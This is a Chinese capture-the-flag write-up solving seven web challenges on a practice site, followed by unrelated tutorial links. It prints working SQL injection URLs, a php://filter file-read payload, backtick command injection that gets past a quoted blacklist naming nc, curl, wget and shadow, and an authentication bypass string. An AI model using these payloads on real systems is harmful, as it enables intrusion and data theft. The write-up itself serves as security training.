hackme.inndy.tw的19道web题解(上)
目录
- 写在前面...
- hide and seek.
- guestbook.
- LFI
- .homepage.
- ping.
- scoreboard.
- login as admin 0
- 待续...
写在前面
最近发现了一个比较有趣的ctf-oj,给出链接
https://hackme.inndy.tw/
里面有不少web题,我这里因为依照出题人的要求:
本次文章不会直接给出flag,但是会有详细的分析和攻击脚本
0x01 hide and seek
查看源代码即可
0x02 guestbook
简单注入
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1
可以得到数据库名guestbook
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1
得到表名flag
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1
得到字段名flag
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1
即可拿到flag
0x03 LFI
随便点击出现:
https://hackme.inndy.tw/lfi/?page=pages/index
根据题目名可以知道是读文件
所以读:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
得到
php
Can you read the flag<?php require('config.php'); ?>?
再读
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
即可
0x04 homepage
注意源代码151行
<script src="cute.js"></script>
跟进
https://hackme.inndy.tw/cute.js
发现是aaencode
解密得到二维码,扫描即可
0x05 ping
发现黑名单
php
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', ''', '\', "n"
];
发现没有过滤反引号
尝试反引号ls反引号
可以得到
ping: unknown host flag.php
index.php
发现sort没有过滤,并且利用?通配
反引号sort ????????反引号
即可
0x06 scoreboard
抓包发现http头里的x-flag有flag
0x07 login as admin 0
注意到过滤
php
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\'", $str);
}
最后将单引号变成\'
所以容易构造payload:
username = admin' || 1=1#
password = 1
进入的是guest,所以admin应该是第二行
所以payload:
username = admin' || 1=1 limit 1,1#
password = 1
得到flag
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- PostgreSQL 内存消耗从LINUX 系统层次看
- RBAC模型与权限系统的梳理(附案例源码)
- Maven项目中常用jar包的坐标以及用法(个人总结)
- MyCat------基于java语言的数据库中间件
- Solr技术(附软件分享)
- VSFTPD技术
- Shiro——基于java的安全框架
- 电子圆二色谱(ECD)的理论计算
- 用 80 行 Javascript 代码构建自己的语音助手
- 手把手教你搭建分布式项目环境
- GraphQL两年实战避坑经验
- 基于Dubbo的服务提供者与消费者的发布(在虚拟机中)以及使用nginx对项目进行负载均衡优化
- 我们为什么不使用CSS框架
- java.lang.IllegalArgumentException: node to traverse cannot be null!
- Spring Data Jpa 异常:PropertyReferenceException: No property xxx found for type for type yyy